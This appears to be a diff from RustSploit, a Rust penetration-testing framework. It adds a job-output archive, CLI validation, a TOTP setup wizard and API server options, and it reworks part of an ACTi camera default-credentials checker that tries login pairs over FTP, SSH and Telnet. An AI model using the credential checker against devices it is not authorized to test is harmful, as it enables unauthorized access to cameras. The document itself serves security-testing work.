self.concurrency.is_some() ||
self.stop_on_success.is_some() ||
self.save_results.is_some() ||
self.output_file.is_some() ||
self.verbose.is_some() ||
self.combo_mode.is_some()
}
/// Clear all settings
pub fn clear(&mut self) {
*self = Self::default();
}
}
/// Global module config instance (API-provided configuration)
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
Arc::new(RwLock::new(ModuleConfig::new()))
});
/// Set module config from API request
pub fn set_module_config(config: ModuleConfig) {
if let Ok(mut guard) = MODULE_CONFIG.write() {
*guard = config;
}
}
/// Get a clone of the current module config
pub fn get_module_config() -> ModuleConfig {
MODULE_CONFIG.read()
.map(|g| g.clone())
.unwrap_or_default()
}
/// Clear module config (should be called after module execution)
pub fn clear_module_config() {
if let Ok(mut guard) = MODULE_CONFIG.write() {
guard.clear();
}
}
+352
View File
@@ -0,0 +1,352 @@
// src/job_archive.rs
//
// Immutable job output archival system
// - In-memory circular buffer for recent jobs
// - Automatic archival to compressed tar.gz files
// - SHA256 checksums for integrity
use anyhow::{anyhow, Context, Result};
use chrono::{DateTime, Utc};
use flate2::write::GzEncoder;
use flate2::Compression;
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
use std::collections::VecDeque;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::PathBuf;
use std::sync::Arc;
use tokio::sync::RwLock;
/// Maximum output size per job (1MB) - reduced from 10MB for DoS protection
pub const MAX_OUTPUT_SIZE: usize = 1 * 1024 * 1024;
/// Maximum jobs in memory before archiving - reduced from 100 for DoS protection
const MAX_MEMORY_JOBS: usize = 20;
/// Maximum total archive size (1GB) before cleanup
const MAX_ARCHIVE_SIZE_BYTES: u64 = 1024 * 1024 * 1024;
/// A single job result
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct JobResult {
/// Unique job identifier
pub id: String,
/// Module that was executed
pub module: String,
/// Target that was scanned/exploited
pub target: String,
/// Captured output (stdout + stderr)
pub output: String,
/// Whether output was truncated
pub truncated: bool,
/// Job status
pub status: JobStatus,
/// When the job started
pub started_at: DateTime<Utc>,
/// When the job completed
pub completed_at: Option<DateTime<Utc>>,
/// Duration in milliseconds
pub duration_ms: Option<u64>,
}
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
pub enum JobStatus {
Running,
Completed,
Failed,
Timeout,
}
/// Thread-safe job storage with automatic archival
#[derive(Clone, Debug)] // Added Debug here
pub struct JobArchive {
/// In-memory job storage
jobs: Arc<RwLock<VecDeque<JobResult>>>,
/// Archive directory
archive_dir: PathBuf,
}
impl JobArchive {
/// Create a new job archive
pub fn new() -> Result<Self> {
let home = home::home_dir()
.ok_or_else(|| anyhow!("Cannot determine home directory"))?;
let archive_dir = home.join(".rustsploit").join("archives");
// Create archive directory if it doesn't exist
if !archive_dir.exists() {
fs::create_dir_all(&archive_dir)
.context("Failed to create archive directory")?;
}
Ok(Self {
jobs: Arc::new(RwLock::new(VecDeque::with_capacity(MAX_MEMORY_JOBS + 10))),
archive_dir,
})
}
/// Add a new job result
pub async fn add_job(&self, job: JobResult) -> Result<()> {
let mut jobs = self.jobs.write().await;
// Check if we need to archive before adding
if jobs.len() >= MAX_MEMORY_JOBS {
// Archive oldest jobs
let to_archive: Vec<JobResult> = jobs.drain(..MAX_MEMORY_JOBS / 2).collect();
drop(jobs); // Release lock before archiving
self.archive_jobs(to_archive).await?;
// Re-acquire lock
let mut jobs = self.jobs.write().await;
jobs.push_back(job);
} else {
jobs.push_back(job);
}
Ok(())
}
/// Get a job by ID
pub async fn get_job(&self, id: &str) -> Option<JobResult> {
let jobs = self.jobs.read().await;
jobs.iter().find(|j| j.id == id).cloned()
}
/// Update a job's status and output
pub async fn update_job(&self, id: &str, output: String, status: JobStatus) -> Result<()> {
let mut jobs = self.jobs.write().await;
if let Some(job) = jobs.iter_mut().find(|j| j.id == id) {
// Truncate output if too large
let (final_output, truncated) = if output.len() > MAX_OUTPUT_SIZE {
let truncated_output = format!(
"{}\n\n[OUTPUT TRUNCATED - exceeded {}MB limit]",
&output[..MAX_OUTPUT_SIZE - 100],
MAX_OUTPUT_SIZE / 1024 / 1024
);
(truncated_output, true)
} else {
(output, false)
};
job.output = final_output;
job.truncated = truncated;
job.status = status;
job.completed_at = Some(Utc::now());
// Calculate duration
let now = Utc::now().timestamp_millis();
job.duration_ms = Some((now - job.started_at.timestamp_millis()) as u64);
}
Ok(())
}
/// Create a new job entry with empty output
pub fn create_job(id: String, module: String, target: String) -> JobResult {
JobResult {
id,
module,
target,
output: String::new(),
truncated: false,
status: JobStatus::Running,
started_at: Utc::now(),
completed_at: None,
duration_ms: None,
}
}
/// Archive jobs to a compressed, immutable tar.gz file
async fn archive_jobs(&self, jobs: Vec<JobResult>) -> Result<()> {
if jobs.is_empty() {
return Ok(());
}
let timestamp = Utc::now().format("%Y%m%d_%H%M%S");
let archive_name = format!("jobs_{}.tar.gz", timestamp);
let archive_path = self.archive_dir.join(&archive_name);
let checksum_path = self.archive_dir.join(format!("jobs_{}.sha256", timestamp));
// Create tar.gz archive
let tar_gz = File::create(&archive_path)
.context("Failed to create archive file")?;
let enc = GzEncoder::new(tar_gz, Compression::default());
let mut tar = tar::Builder::new(enc);
// Add each job as a JSON file in the archive
for job in &jobs {
let job_json = serde_json::to_string_pretty(job)
.context("Failed to serialize job")?;
let mut header = tar::Header::new_gnu();
header.set_size(job_json.len() as u64);
header.set_mode(0o444); // Read-only
header.set_cksum();
tar.append_data(
&mut header,
format!("{}.json", job.id),
job_json.as_bytes(),
).context("Failed to add job to archive")?;
}
// Finish the archive
let enc = tar.into_inner()
.context("Failed to finalize tar archive")?;
enc.finish()
.context("Failed to finalize gzip compression")?;
// Calculate SHA256 checksum
let mut file = File::open(&archive_path)
.context("Failed to open archive for checksum")?;
let mut hasher = Sha256::new();
let mut buffer = [0u8; 8192];
loop {
let n = file.read(&mut buffer)?;
if n == 0 { break; }
hasher.update(&buffer[..n]);
}
let checksum = format!("{:x} {}\n", hasher.finalize(), archive_name);
// Write checksum file
let mut checksum_file = File::create(&checksum_path)
.context("Failed to create checksum file")?;
checksum_file.write_all(checksum.as_bytes())
.context("Failed to write checksum")?;
// Make archive and checksum read-only
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
fs::set_permissions(&archive_path, fs::Permissions::from_mode(0o444))
.context("Failed to set archive permissions")?;
fs::set_permissions(&checksum_path, fs::Permissions::from_mode(0o444))
.context("Failed to set checksum permissions")?;
}
eprintln!("[INFO] Archived {} jobs to {}", jobs.len(), archive_path.display());
// Cleanup old archives if disk limit exceeded
Self::cleanup_old_archives(&self.archive_dir)?;
Ok(())
}
/// Delete oldest archives if total size exceeds MAX_ARCHIVE_SIZE_BYTES (1GB)
fn cleanup_old_archives(archive_dir: &PathBuf) -> Result<()> {
let mut archives: Vec<_> = fs::read_dir(archive_dir)?
.filter_map(|e| e.ok())
.filter(|e| e.path().extension().map_or(false, |ext| ext == "gz"))
.collect();
// Sort by modification time (oldest first)
archives.sort_by_key(|e| e.metadata().ok().and_then(|m| m.modified().ok()));
let total_size: u64 = archives.iter()
.filter_map(|e| e.metadata().ok().map(|m| m.len()))
.sum();
if total_size > MAX_ARCHIVE_SIZE_BYTES {
let mut freed = 0u64;
for entry in &archives {
if total_size - freed <= MAX_ARCHIVE_SIZE_BYTES {
break;
}
if let Ok(metadata) = entry.metadata() {
let size = metadata.len();
let path = entry.path();
if fs::remove_file(&path).is_ok() {
// Also remove matching .sha256 file
let mut sha_path = path.clone();
sha_path.set_extension("sha256");
let _ = fs::remove_file(sha_path);
freed += size;
eprintln!("[CLEANUP] Removed old archive: {} (freed {} bytes)", path.display(), size);
}
}
}
eprintln!("[CLEANUP] Total freed: {} bytes", freed);
}
Ok(())
}
/// List all jobs in memory
pub async fn list_jobs(&self) -> Vec<JobResult> {
let jobs = self.jobs.read().await;
jobs.iter().cloned().collect()
}
/// Get archive directory path
pub fn archive_dir(&self) -> &PathBuf {
&self.archive_dir
}
}
impl Default for JobArchive {
fn default() -> Self {
match Self::new() {
Ok(archive) => archive,
Err(e) => {
eprintln!("[!] Warning: Failed to create job archive: {}. Using fallback.", e);
// Fallback to current directory
Self {
archive_dir: std::env::current_dir().unwrap_or_else(|_| std::path::PathBuf::from(".")),
jobs: std::sync::Arc::new(tokio::sync::RwLock::new(std::collections::VecDeque::new())),
}
}
}
}
}
/// Output buffer with overflow protection
pub struct OutputBuffer {
buffer: String,
max_size: usize,
truncated: bool,
}
impl OutputBuffer {
pub fn new() -> Self {
Self {
buffer: String::with_capacity(1024 * 64), // 64KB initial
max_size: MAX_OUTPUT_SIZE,
truncated: false,
}
}
/// Append data to buffer, respecting max size
pub fn append(&mut self, data: &str) {
if self.truncated {
return; // Already at max, ignore further input
}
let remaining = self.max_size.saturating_sub(self.buffer.len());
if remaining == 0 {
self.truncated = true;
self.buffer.push_str("\n\n[OUTPUT TRUNCATED]");
return;
}
if data.len() <= remaining {
self.buffer.push_str(data);
} else {
self.buffer.push_str(&data[..remaining]);
self.truncated = true;
self.buffer.push_str("\n\n[OUTPUT TRUNCATED]");
}
}
/// Get the final output
pub fn finish(self) -> (String, bool) {
(self.buffer, self.truncated)
}
}
impl Default for OutputBuffer {
fn default() -> Self {
Self::new()
}
}
+558 -30
View File
@@ -1,5 +1,8 @@
use anyhow::{Context, Result};
use anyhow::{anyhow, Context, Result};
use clap::Parser;
use colored::*;
use std::net::SocketAddr;
use std::process;
mod cli;
mod shell;
@@ -7,41 +10,566 @@ mod commands;
mod modules;
mod utils;
mod api;
mod config;
mod totp_config;
mod job_archive;
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
/// Custom error types for CLI operations
#[derive(Debug)]
pub enum CliError {
InvalidFlagCombination { flag1: String, flag2: String, message: String },
// MissingRequiredFlag is handled by clap, but we can wrap validaton errors
ValidationFailed { field: String, reason: String },
ModuleNotFound { module: String, suggestions: Vec<String> },
TargetInvalid { target: String, reason: String },
ApiError { message: String },
Generic { message: String },
}
// Check if API mode is requested
if cli_args.api {
let api_key = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
let bind_address = if interface.contains(':') {
interface
} else {
format!("{}:8080", interface)
};
let harden = cli_args.harden;
let ip_limit = cli_args.ip_limit.unwrap_or(10);
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
return Ok(());
impl std::fmt::Display for CliError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
CliError::InvalidFlagCombination { flag1, flag2, message } => {
write!(f, "{} Invalid flag combination detected: {} + {}\n {}", "".red(), flag1.yellow(), flag2.yellow(), message)
},
CliError::ValidationFailed { field, reason } => {
write!(f, "{} Validation failed for '{}': {}", "".red(), field.yellow(), reason)
},
CliError::ModuleNotFound { module, suggestions } => {
writeln!(f, "{} Module '{}' not found.", "".red(), module.yellow())?;
if !suggestions.is_empty() {
writeln!(f, " Did you mean:")?;
for s in suggestions {
writeln!(f, " - {}", s.green())?;
}
}
Ok(())
},
CliError::TargetInvalid { target, reason } => {
write!(f, "{} Invalid target '{}': {}", "".red(), target.yellow(), reason)
},
CliError::ApiError { message } => {
write!(f, "{} API Server Error: {}", "".red(), message)
},
CliError::Generic { message } => {
write!(f, "{} Error: {}", "".red(), message)
}
}
}
}
impl CliError {
pub fn exit_code(&self) -> i32 {
match self {
CliError::Generic { .. } => 1,
CliError::InvalidFlagCombination { .. } => 2,
CliError::ValidationFailed { .. } => 2,
CliError::ModuleNotFound { .. } => 3,
CliError::TargetInvalid { .. } => 4,
CliError::ApiError { .. } => 5,
}
}
}
/// Maximum length for API key to prevent memory exhaustion
const MAX_API_KEY_LENGTH: usize = 256;
/// Maximum length for interface/bind address
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Maximum IP limit for hardening mode
const MAX_IP_LIMIT: u32 = 10000;
/// Prints CLI usage hint
fn print_usage_hint() {
eprintln!("{}", "Usage hints:".yellow().bold());
eprintln!(" {} Launch interactive shell", "cargo run".cyan());
eprintln!(" {} Run module on target", "cargo run -- -m <module> -t <target>".cyan());
eprintln!(" {} Start API server", "cargo run -- --api --api-key <key>".cyan());
eprintln!(" {} List all modules in shell", "cargo run (then type 'modules')".cyan());
eprintln!();
eprintln!("{}", "For more help: cargo run -- --help".dimmed());
}
/// Validates CLI flag combinations and prints warnings for common mistakes
fn validate_cli_flags(cli_args: &cli::Cli) -> Result<()> {
// Warning: -m without -t
if cli_args.module.is_some() && cli_args.target.is_none() {
eprintln!();
eprintln!("{}", "⚠ Warning: --module (-m) specified without --target (-t)".yellow().bold());
eprintln!("{}", " The module requires a target to run against.".yellow());
eprintln!();
print_usage_hint();
eprintln!();
eprintln!("{}", "Launching interactive shell instead...".cyan());
eprintln!();
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
// Warning: -t without -m (not an error, but inform user)
if cli_args.target.is_some() && cli_args.module.is_none() && cli_args.command.is_none() {
eprintln!();
eprintln!("{}", " Note: --target (-t) specified without --module (-m)".blue().bold());
eprintln!("{}", " Target will be available in interactive shell.".blue());
eprintln!();
}
// Otherwise, launch the interactive shell
else {
shell::interactive_shell().await?;
// Warning: --harden without --api
if cli_args.harden && !cli_args.api {
eprintln!();
eprintln!("{}", "⚠ Warning: --harden requires --api mode".yellow().bold());
eprintln!("{}", " Hardening features are only active in API server mode.".yellow());
eprintln!();
print_usage_hint();
return Err(anyhow!(CliError::InvalidFlagCombination {
flag1: "--harden".to_string(),
flag2: "no --api".to_string(),
message: "Harden mode requires API mode".to_string()
}));
}
// Note: --ip-limit requires --harden is enforced by clap's requires attribute
// Warning: --interface without --api
if let Some(ref iface) = cli_args.interface {
if !cli_args.api && iface != "0.0.0.0" { // Ignore default value
eprintln!();
eprintln!("{}", "⚠ Warning: --interface requires --api mode".yellow().bold());
eprintln!("{}", " Interface binding is only used in API server mode.".yellow());
eprintln!();
}
}
Ok(())
}
/// Validates the bind address format for security
fn validate_bind_address(addr: &str) -> Result<String> {
let trimmed = addr.trim();
// Length check
if trimmed.is_empty() {
return Err(anyhow!(CliError::ValidationFailed {
field: "bind_address".to_string(),
reason: "Address cannot be empty".to_string()
}));
}
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
return Err(anyhow!(
"Bind address too long (max {} characters)",
MAX_BIND_ADDRESS_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Bind address cannot contain control characters"));
}
// Add port if missing
let with_port = if trimmed.contains(':') {
trimmed.to_string()
} else {
format!("{}:8080", trimmed)
};
// Validate socket address format
with_port.parse::<SocketAddr>()
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
Ok(with_port)
}
/// Validates API key format for security
fn validate_api_key(key: &str) -> Result<String> {
let trimmed = key.trim();
if trimmed.is_empty() {
return Err(anyhow!("API key cannot be empty"));
}
if trimmed.len() > MAX_API_KEY_LENGTH {
return Err(anyhow!(
"API key too long (max {} characters)",
MAX_API_KEY_LENGTH
));
}
// Only allow printable ASCII characters
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
return Err(anyhow!("API key must contain only printable ASCII characters"));
}
Ok(trimmed.to_string())
}
/// Validates IP limit for hardening mode
fn validate_ip_limit(limit: u32) -> Result<u32> {
if limit == 0 {
return Err(anyhow!(CliError::ValidationFailed {
field: "ip_limit".to_string(),
reason: "Must be greater than 0".to_string()
}));
}
if limit > MAX_IP_LIMIT {
return Err(anyhow!(
"IP limit too high (max {})",
MAX_IP_LIMIT
));
}
Ok(limit)
}
/// TOTP setup wizard - runs interactively to configure TOTP for API authentication
async fn run_totp_setup_wizard() -> Result<()> {
use std::io::{self, Write};
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan().bold());
println!("{}", "║ TOTP AUTHENTICATION SETUP WIZARD ║".cyan().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan().bold());
println!();
let mut config = totp_config::TotpConfig::load()
.context("Failed to load TOTP configuration")?;
loop {
// Show menu
println!("{}", "Options:".yellow().bold());
println!(" {} List existing TOTP accounts", "1.".cyan());
println!(" {} Add new TOTP (link to API token)", "2.".cyan());
println!(" {} Remove TOTP account", "3.".cyan());
println!(" {} Exit", "4.".cyan());
println!();
print!("{}", "Enter choice [1-4]: ".cyan().bold());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
match choice {
"1" => {
// List accounts
let accounts = config.list_accounts();
if accounts.is_empty() {
println!();
println!("{}", "No TOTP accounts configured.".yellow());
} else {
println!();
println!("{}", "Configured TOTP accounts:".green().bold());
for (short_hash, entry) in &accounts {
let status = if entry.enabled { "✓ Enabled" } else { "✗ Disabled" };
println!(" {} Token: {} | Label: {} | Created: {} | {}",
"".green(),
short_hash.cyan(),
entry.label,
entry.created_at,
status
);
}
}
println!();
}
"2" => {
// Add new TOTP
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan().bold());
println!("{}", "║ ADD NEW TOTP ACCOUNT ║".cyan().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan().bold());
println!();
println!("{}", "Enter the API token to link this TOTP to:".cyan());
println!("{}", " (This is the token you'll use with --api-key)".dimmed());
print!("{}", "API Token: ".cyan().bold());
io::stdout().flush()?;
let mut token_input = String::new();
io::stdin().read_line(&mut token_input)?;
let token = token_input.trim();
if token.is_empty() {
println!("{}", "Token cannot be empty.".red());
continue;
}
// Check if already exists
if config.is_configured_for_token(token) {
println!("{}", "TOTP already exists for this token. Remove it first.".red());
continue;
}
print!("{}", "Label (e.g., 'admin@server1') [default]: ".cyan());
io::stdout().flush()?;
let mut label_input = String::new();
io::stdin().read_line(&mut label_input)?;
let label = label_input.trim();
let label = if label.is_empty() {
format!("RustSploit-{}", &totp_config::TotpConfig::hash_token(token)[..8])
} else {
label.to_string()
};
println!();
println!("{}", "Generating TOTP secret...".green());
match config.generate_secret_for_token(token, &label) {
Ok((secret, _url, token_hash)) => {
// Generate QR code
let qr_path = std::env::current_dir()
.unwrap_or_else(|_| std::path::PathBuf::from("."))
.join(format!("totp_qr_{}.png", &token_hash[..8]));
match config.generate_qr_png_for_token(token) {
Ok(png_data) => {
if let Err(e) = std::fs::write(&qr_path, &png_data) {
eprintln!("{}", format!("[WARN] Failed to save QR: {}", e).yellow());
} else {
println!();
println!("{}", format!("QR Code saved: {}", qr_path.display()).green().bold());
println!("{}", "Scan with Google Authenticator, Authy, etc.".cyan());
}
}
Err(e) => eprintln!("{}", format!("[WARN] QR generation failed: {}", e).yellow()),
}
println!();
println!("{}", "Or enter this secret manually:".cyan());
println!(" {}", secret.green().bold());
println!();
println!("{}", format!("Token hash: {}...", &token_hash[..16]).dimmed());
println!();
// Verification loop
loop {
print!("{}", "Enter 6-digit code to verify: ".cyan().bold());
io::stdout().flush()?;
let mut code_input = String::new();
io::stdin().read_line(&mut code_input)?;
let code = code_input.trim();
if code.eq_ignore_ascii_case("cancel") || code.eq_ignore_ascii_case("q") {
println!("{}", "Setup cancelled.".red());
let _ = config.remove_entry_by_token(token);
break;
}
match config.verify_code_for_token(token, code) {
Ok(true) => {
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".green().bold());
println!("{}", "║ ✓ TOTP SETUP SUCCESSFUL! ║".green().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold());
println!();
println!("{}", "IMPORTANT:".yellow().bold());
println!(" • This TOTP is linked to THIS specific API token");
println!(" • TOTP required every 30 minutes when using --harden-totp");
println!(" • Use X-TOTP-Code header in API requests");
println!();
println!("{}", "Example:".dimmed());
println!("{}", format!(" cargo run -- --api --api-key \"{}\" --harden-totp",
if token.len() > 20 { format!("{}...", &token[..20]) } else { token.to_string() }
).dimmed());
println!("{}", " curl -H 'Authorization: Bearer YOUR_TOKEN' -H 'X-TOTP-Code: 123456' ...".dimmed());
// Clean up QR
if qr_path.exists() {
let _ = std::fs::remove_file(&qr_path);
println!();
println!("{}", format!("QR deleted: {}", qr_path.display()).dimmed());
}
break;
}
Ok(false) => println!("{}", "Invalid code. Try again or type 'cancel'.".red()),
Err(e) => println!("{}", format!("Error: {}", e).red()),
}
}
}
Err(e) => println!("{}", format!("Failed to generate TOTP: {}", e).red()),
}
println!();
}
"3" => {
// Remove TOTP
let hashes = config.get_all_token_hashes();
if hashes.is_empty() {
println!();
println!("{}", "No TOTP accounts to remove.".yellow());
println!();
continue;
}
println!();
println!("{}", "Select account to remove:".yellow().bold());
for (i, hash) in hashes.iter().enumerate() {
if let Some(entry) = config.get_entry_by_hash(hash) {
println!(" {} {}... ({})", format!("{}.", i + 1).cyan(), &hash[..12], entry.label);
}
}
println!(" {} Cancel", format!("{}.", hashes.len() + 1).cyan());
println!();
print!("{}", "Choice: ".cyan().bold());
io::stdout().flush()?;
let mut rm_choice = String::new();
io::stdin().read_line(&mut rm_choice)?;
if let Ok(idx) = rm_choice.trim().parse::<usize>() {
if idx > 0 && idx <= hashes.len() {
let hash = &hashes[idx - 1];
match config.remove_entry_by_hash(hash) {
Ok(true) => println!("{}", "Account removed successfully.".green()),
Ok(false) => println!("{}", "Account not found.".yellow()),
Err(e) => println!("{}", format!("Error: {}", e).red()),
}
}
}
println!();
}
"4" | "q" | "exit" => {
println!("{}", "Exiting TOTP wizard.".cyan());
break;
}
_ => println!("{}", "Invalid choice.".red()),
}
}
Ok(())
}
#[tokio::main]
async fn main() {
if let Err(e) = run().await {
// Check if downcast to CliError works
if let Some(cli_error) = e.downcast_ref::<CliError>() {
eprintln!("{}", cli_error);
process::exit(cli_error.exit_code());
} else {
// Fallback for generic anyhow errors
eprintln!("{} {}", "".red(), e);
process::exit(1);
}
}
}
async fn run() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
utils::verbose_log(cli_args.verbose, "CLI arguments parsed successfully");
// Validate CLI flag combinations (prints warnings for common mistakes)
utils::verbose_log(cli_args.verbose, "Validating CLI flags...");
validate_cli_flags(&cli_args)?;
// Handle list_modules flag
if cli_args.list_modules {
utils::verbose_log(cli_args.verbose, "Listing all modules...");
utils::list_all_modules();
return Ok(());
}
// Handle TOTP setup wizard
if cli_args.setup_totp {
utils::verbose_log(cli_args.verbose, "Starting TOTP setup wizard...");
return run_totp_setup_wizard().await;
}
// Check if API mode is requested
if cli_args.api {
let api_key_raw = cli_args
.api_key
.as_ref()
.ok_or_else(|| anyhow!("--api-key is required when using --api mode"))?;
// Validate API key
let api_key = validate_api_key(api_key_raw)
.context("Invalid API key")?;
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
// Validate and normalize bind address
let bind_address = validate_bind_address(&interface)
.context("Invalid bind address")?;
let harden = cli_args.harden;
// Validate IP limit
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
let ip_limit = validate_ip_limit(ip_limit_raw)
.context("Invalid IP limit")?;
utils::verbose_log(cli_args.verbose, &format!("Starting API server on {}...", bind_address));
api::start_api_server(
&bind_address,
api_key,
harden,
cli_args.harden_totp,
cli_args.harden_rate_limit,
cli_args.harden_ip_tracking,
ip_limit,
cli_args.verbose,
cli_args.queue_size,
cli_args.workers,
Vec::new(), // trusted_proxies
).await?;
return Ok(());
}
// Validate target if provided (fail fast on invalid input)
if let Some(ref target) = cli_args.target {
if let Err(e) = utils::normalize_target(target) {
return Err(anyhow!(CliError::TargetInvalid {
target: target.clone(),
reason: e.to_string()
}));
}
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
utils::verbose_log(cli_args.verbose, &format!("Setting global target to: {}", target));
// Target validation is done in config::set_target
config::GLOBAL_CONFIG.set_target(target)?;
println!("{} Global target set to: {}", "".green(), target);
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
utils::verbose_log(cli_args.verbose, &format!("Executing subcommand: {}", cmd));
commands::handle_command(cmd, &cli_args).await?;
}
// Improved module+target handling: Run module directly if both -m and -t (or global target) are present
else if let Some(ref module) = cli_args.module {
if let Some(ref target) = cli_args.target {
utils::verbose_log(cli_args.verbose, &format!("Running module '{}' against '{}'", module, target));
commands::run_module(module, target, cli_args.verbose).await?;
} else if config::GLOBAL_CONFIG.has_target() {
let target = match config::GLOBAL_CONFIG.get_target() {
Some(t) => t,
None => String::new(),
};
utils::verbose_log(cli_args.verbose, &format!("Running module '{}' against global target '{}'", module, target));
commands::run_module(module, &target, cli_args.verbose).await?;
} else {
// If only -m: Show warning, launch shell with module preselected (Phase 3 mostly, but good fallback)
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
utils::verbose_log(cli_args.verbose, "Launching interactive shell...");
shell::interactive_shell(cli_args.verbose).await?;
}
}
// Otherwise, launch the interactive shell
else {
utils::verbose_log(cli_args.verbose, "Launching interactive shell...");
shell::interactive_shell(cli_args.verbose).await?;
}
Ok(())
}
@@ -1,15 +1,24 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use colored::*;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
#[allow(dead_code)]
/// Supported Acti services
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ServiceType {
Ftp,
Ssh,
@@ -17,6 +26,17 @@ pub enum ServiceType {
Http,
}
impl ServiceType {
fn as_str(&self) -> &'static str {
match self {
ServiceType::Ftp => "FTP",
ServiceType::Ssh => "SSH",
ServiceType::Telnet => "Telnet",
ServiceType::Http => "HTTP",
}
}
}
/// Common config
#[derive(Clone)]
pub struct Config {
@@ -38,22 +58,27 @@ fn normalize_target(target: &str, port: u16) -> String {
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
let _ = ftp.quit().await;
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
// Respect stop_on_success: if true, stop after first valid credential
if config.stop_on_success {
return Ok(());
return Ok(result);
}
// If false, continue checking but still return first found (for consistency)
return Ok(result);
}
let _ = ftp.quit().await;
}
@@ -61,17 +86,17 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
@@ -81,25 +106,23 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
@@ -120,33 +143,31 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
